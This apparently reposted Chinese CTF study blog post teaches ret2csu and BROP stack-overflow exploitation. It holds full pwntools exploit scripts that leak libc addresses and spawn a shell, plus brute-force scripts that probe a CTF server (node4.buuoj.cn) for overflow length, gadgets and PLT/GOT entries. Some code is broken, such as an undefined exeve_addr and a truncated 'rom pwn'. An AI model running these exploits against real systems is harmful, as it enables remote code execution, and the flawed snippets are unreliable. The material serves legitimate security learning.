Pwn中阶学习1-[栈溢出]/篇3

题型-ret2csu

原理

ret2csu是使用一些更为巧妙的gadgets

64位程序中,函数前6个参数是通过寄存器来传递的,但在Linux_x64系统中很难找到pop rdi,pop rsi,pop rdx这样的gadgets(我们现在大多用的是x86_64的系统,使用ROPgadget是可以找到一些满足条件的gadgets的),这时我们就可以用__libc_csu_init函数中的gadgets。

__libc_csu_init是libc程序用来初始化的函数,一般的程序都会加载的libc库,所以这个函数一般是存在的,我们来看一下这个函数中我们要利用的部分

.text:00000000004011D0 loc_4011D0:                             ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004011D0                 mov     rdx, r14
.text:00000000004011D3                 mov     rsi, r13
.text:00000000004011D6                 mov     edi, r12d
.text:00000000004011D9                 call    qword ptr [r15+rbx*8]
.text:00000000004011DD                 add     rbx, 1
.text:00000000004011E1                 cmp     rbp, rbx
.text:00000000004011E4                 jnz     short loc_4011D0
.text:00000000004011E6
.text:00000000004011E6 loc_4011E6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004011E6                 add     rsp, 8
.text:00000000004011EA                 pop     rbx
.text:00000000004011EB                 pop     rbp
.text:00000000004011EC                 pop     r12
.text:00000000004011EE                 pop     r13
.text:00000000004011F0                 pop     r14
.text:00000000004011F2                 pop     r15
.text:00000000004011F4                 retn

利用点:

4011ea地址开始有一连串的pop [寄存器],4011d0~4011d6地址的3个mov将r12,r13,r14寄存器的值分别放入了edi,rsi,rdx,也就是存放第1、2、3个参数的寄存器,call [r15+rbx*8]想使其为call [r15],r15就可以是存放着我们想调用的函数地址的地址,那么rbx就设为0,后面有要使rbx+1=rbp时,程序才可以继续向下运行

题目

C源码

#include 
#include 
#include 

void vulnerable_function() {
    char buf[128];
    read(0, buf, 512);
}

int main(int argc, char** argv) {
    write(1, "Hello, World\n", 13);
    vulnerable_function();
}

编译

gcc -fno-stack-protector -no-pie csu2ret.c -o csu2ret

这里我在虚拟机中进行编译时,总会出现endbr64的保护机制,但是在wsl(Windows下的Linux子系统)下编译是没这个问题的,因为本人没有wsl,所以这里我的程序是请其他人编译的

解题

思路:需要多次利用__libc_csu_init函数里的gadgets

第1次利用:通过泄露write_got得到write_addr真实地址

第2次利用:用得到的write_addr地址获取到libc库中的exece函数地址后(这里使用system时无法成功得到shell),将exece地址与/bin/sh写入bss段

第3次利用:读取调用bss段的exece地址与/bin/sh

exp.py

from pwn import *
from LibcSearcher import *

#context(log_level='debug')

p=process('./csu2ret')
elf=ELF('./csu2ret')

write_got=elf.got['write']
read_got=elf.got['read']
main_addr=elf.symbols['main']
bss=elf.bss()  #获取bss段始地址
csu_mov_addr=0x00000000004011d0 
csu_pop_addr=0x00000000004011ea  
#gdb.attach(p)

def csu(rbx,rbp,r12,r13,r14,r15,retn):
    pload='a'*0x80+'b'*8    #vuln函数的buf填充
    #返回地址+6个要pop到6个寄存器的值
    pload+=p64(csu_pop_addr)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
    #pop后将r12,r13,r14的值传给rdi,rsi,rdx,并call [r15],向下运行
    pload+=p64(csu_mov_addr)
    #满足rbx+1=rbp时,向下运行到retn前有7次rsp的变化,填充7*8=0x38个a
    pload+='a'*0x38
    pload+=p64(retn) #返回地址
    p.send(pload)

p.recvuntil('Hello, World\n')
#rbx=0;rbp=1
#r12=edi=rdi=1
#r13=rsi=write_got
#r14=rdx=8
#r15=write_got --> [r15]=[write_got]=write_addr
csu(0,1,1,write_got,8,write_got,main_addr)

write_addr=u64(p.recv(8)) #write写出了8个字节,这里直接接收8个字节即可
print(hex(write_addr))

###本地调试时,使用ldd查看程序文件加载的libc库
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base=write_addr-libc.sym['write']
system_addr=libc_base+libc.sym['execve']

###使用LibcSeacher时跳出多个版本,如果版本选不对,最后exece_addr得到的地址对应的函数就不一定是exece函数了
#libc=LibcSearcher('write',write_addr)
#libc_base=write_addr-libc.dump('write')
#exece_addr=libc_base+libc.dump('exece')
log.success('sexece_addr: '+hex(exeve_addr))

#gdb.attach(p)
p.recvuntil('Hello, World\n')
#read(0,bss地址,16)
csu(0,1,0,bss,16,read_got,main_addr)
p.send(p64(exeve_addr)+'/bin/sh\x00')#写满16个字节

p.recvuntil('Hello, World\n')
#只有一个参数,所以存放第2,3个参数的寄存器值随意
csu(0,1,bss+8,0,0,bss,main_addr)

p.interactive()

稍微需要注意的一点为什么我们调用的是write_got函数而不是write_plt函数,因为在__libc_csu_init函数里是 call [r15] ,所以调用的是r15的值(也是个地址)指向的那个地址的函数

假设exece的地址是0x111111

r15=0x123456 0x123456地址下存放着地址0x111111  那么[r15]=0x111111-->exece函数

题型-ret2reg(BROP)

定义

这种题型一般是在题目没有给出程序文件的时候,我们对程序一无所知,对程序是否栈溢出、栈溢出长度、gadget地址,源函数地址等只能进行爆破得到

攻击条件:

  • 程序存在栈溢出漏洞
  • 服务器端的进程在崩溃后会重新启动,且启动进程地址与先前一样。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。

BROP绕过ASLR、NX、Canary保护

步骤

  • 爆破栈溢出长度
  • 得到漏洞函数或main函数地址(stop gadget:使程序返回地址后能保持运行)
  • 得到足够多的gadget的地址
  • 先后获取write/puts_plt和write/puts_got地址

题目

axb_2019_brop64

该题有附件,但我们还是用此法来学习试解

题解

先访问程序IP地址查看输入输出提示位置

1、爆破栈溢出长度

from pwn import *
from LibcSearcher import LibcSearcher

def get_length():
    i=1
    while 1:
        try:
            p=remote('node4.buuoj.cn',111)
            p.recvuntil("Please tell me:") #到Please tell me:后开始接受数据
            p.send(i*'a') #传多个a爆破
            output=p.recv() #传多个a后接收到的所有回显数据存到output
            #print(output[-5:-1]) 
            print(i)
            p.close()
            #程序正常最后会回显Goodbye!,程序崩溃则不回显
            if not output[-5:-1]=='bye!': #不回显说明a已覆盖返回地址,得到长度length
                print("length=",i-1)
                break
                return i-1
            else:  #程序正常,i+1
                #print(output)
                #print(i)
                i += 1

        except EOFError:
            p.close()
            return i-1

get_length()
length=216

不同题目在判断程序是否崩溃的地方都会略有不同,可以通过打印出output接受的数据,经观察后进行修改即可。这题不大方便之处就在于它总是有Rpeater的返回值,判断output头部内容是无法判断程序是否崩溃的

Pwn中阶学习1-[栈溢出]/篇3_第1张图片

2、获取stop地址,即main函数或漏洞函数的地址

在没有开PIE保护的情况下,64位程序起始地址为0x400000

def get_stop(length):
    addr=0x400000 
    while 1:
        try:
            p=remote('node4.buuoj.cn',111)
            p.recvuntil("Please tell me:")
            pload='a'*length+p64(addr) #addr作为返回地址
            p.sendline(pload)
            a=p.recv()
            print(a)
            
            if not a[length+12:length+17]=="Hello": 如果程序没有返回main函数开头,即没有回显Hello,那么addr+1继续爆破
              p.close()
              addr+=1
              print(hex(addr))
            else: #如果返回则成功
                print('one success addr: 0x%x '%(addr))
                #continue
                return addr
        except Exception:
            print(hex(addr))
            addr+=1
            p.close()

get_stop(length)

这里到底是在什么地方取到程序回显的开头可以进行长度测试,可以看一看下图打印的接收到的数据

Pwn中阶学习1-[栈溢出]/篇3_第2张图片

 

3、获取brop,gadget地址

我们要找的这个连着6个的gadget的地址一般就存在于__libc_csu_init函数里,根据ida查看经验这个函数是排在main函数后面的,但如果不确定的也可以从0x400000开始扫

stop=0x4007d6
addr=0x400800
def get_brop(length,stop,addr):
    try:
        p=remote('node4.buuoj.cn',111)
        p.recvuntil("Please tell me:")
        pload='a'*length+p64(addr)+p64(0)*6+p64(stop)
        p.send(pload)
        a=p.recv()
        p.close()
        print(a)
        #print(a[-3:-1])
        #程序没有返回stop地址
        if not a[-3:-1]=="me":
              return False
        #程序正常返回stop地址运行,则6个pop对上了
        return True
    except Exception:
        p.close()
        return True
#检测
def check(length,addr):
    try:
        p=remote('node4.buuoj.cn',111)
        p.recvuntil("Please tell me:")
        pload='a'*length+p64(addr)+p64(0)*7 #最后的返回地址是0时
        p.send(pload)
        a=p.recv()
        print(a)
        p.close()
        #程序除Rpeater外没有其他回显
        if (a[-7:-6]=='a' or a[-3:-1]=='er'):
            return True
        #有其他回显
        return False
    except Exception:
        p.close()
        return True

while 1:
    print(hex(addr))
    if get_brop(length,stop,addr):
        print('possible brop: 0x%x'%addr)
        if check(length,addr):
            print('success brop: 0x%x'%addr)
            break
    addr+=1

Pwn中阶学习1-[栈溢出]/篇3_第3张图片

 

4、获取put_plt地址

先看一下__libc_csu_init中的那些gadgets,通过一些偏移我们可以控制部分寄存器

gef➤  x/5i 0x000000000040061A
   0x40061a <__libc_csu_init+90>:   pop    rbx
   0x40061b <__libc_csu_init+91>:   pop    rbp
   0x40061c <__libc_csu_init+92>:   pop    r12
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
gef➤  x/5i 0x000000000040061b
   0x40061b <__libc_csu_init+91>:   pop    rbp
   0x40061c <__libc_csu_init+92>:   pop    r12
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
gef➤  x/5i 0x000000000040061A+3
   0x40061d <__libc_csu_init+93>:   pop    rsp
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
gef➤  x/5i 0x000000000040061e
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
gef➤  x/5i 0x000000000040061f
   0x40061f <__libc_csu_init+95>:   pop    rbp
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
gef➤  x/5i 0x0000000000400620
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
   0x400626:    nop    WORD PTR cs:[rax+rax*1+0x0]
gef➤  x/5i 0x0000000000400621
   0x400621 <__libc_csu_init+97>:   pop    rsi
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
gef➤  x/5i 0x000000000040061A+9
   0x400623 <__libc_csu_init+99>:   pop    rdi
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
   0x400626:    nop    WORD PTR cs:[rax+rax*1+0x0]
   0x400630 <__libc_csu_fini>:  repz ret

其中,pop_rdi_ret = brop + 9

在没有 PIE 保护的时候,64 位程序的 ELF 文件的 0x400000 处有 7 个非零字节:"\x7fELF"

brop=0x40095a
pop_rdi_ret=brop+9 #brop地址加上9可以控制寄存器rdi
def get_puts():
    addr=0x400600 不清楚puts_plt大致范围也可以从0x400000开始扫
    while 1:
        print(hex(addr))
        try:
            p=remote('node4.buuoj.cn',111)
            p.recvuntil("Please tell me:")
            #让第一个参数rdi指向0x400000的地方
            pload='a'*length+p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop)
            p.send(pload)
            a=p.recv()
            print(a[length+12:length+16])
            p.close()
            #若能打印出0x400000地址处的字符串,则找到puts_plt
            if a[length+12:length+16]=="\x7fELF":
                print('puts_plt addr= 0x%x '%addr)
                return addr
            addr+=1
        except Exception:
            p.close()
            addr+=1

get_puts()

 

5、获取put_got

这里我们需要将程序的至少包含plt的部分dump出来,选择0x400000~0x401000范围,足够包含plt

puts_plt=0x400640
leak_addr=0x400000
def leak(length,pop_rdi_ret,leak_addr,puts_plt,stop):
    p=remote('node4.buuoj.cn',111)
    p.recvuntil("Please tell me:")
    pload='a'*length+p64(pop_rdi_ret)+p64(leak_addr)+p64(puts_plt)+p64(stop)
    p.send(pload)
    try:
        data=p.recv()
        p.close()
        try:
            #我们需要的数据(leak_addr处的内容)在Rpeater和Hello回显之间
            data=data[length+12:data.index('\nHello')]
        except Exception: #即使出现异常也要从Rpeater后开始取数据
            data=data[length+12:]
        print(data)
        if data=="":
            data = '\x00'
        p.close()
        return data
    except Exception:
        p.close()
        return None
res=""
while leak_addr < 0x401000:
    print(hex(leak_addr))
    data = leak(length,pop_rdi_ret,leak_addr,puts_plt,stop)
    if data is None:        
        continue
    else:
        res+=data #将所有data写入res
    leak_addr+=len(data) #leak地址增加data的长度(每地址+1,存放一个字节)

with open('./code','wb') as f: #res以二进制形式写入文件code
    f.write(res)

然后将code文件以Binary File形式用IDA打开edit->segments->rebase program 将程序的基地址改为 0x400000,然后找到puts_plt偏移 0x635 处,按c转为代码

可以看到puts_got为0x601018

之后就可以用ret2libc写exp即可

exp

rom pwn import *
from LibcSearcher import LibcSearcher

length=216
stop=0x4007d6
brop=0x40095a
pop_rdi_ret=brop+9
puts_plt=0x400640
puts_got=0x601018

p=remote('node4.buuoj.cn',111)
p.recvuntil('Please tell me:')
pload='a'*length
pload+=p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(stop)
p.sendline(pload)

puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')

p.recvuntil('Please tell me:')
pload='a'*length
pload+=p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(stop)

p.sendline(pload)
p.interactive()

BROP绕过ASLR、NX、Canary保护会在后面进行学习

参考链接:

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/

https://blog.csdn.net/qq_41988448/article/details/103491550

你可能感兴趣的:(Pwn,系统安全,学习)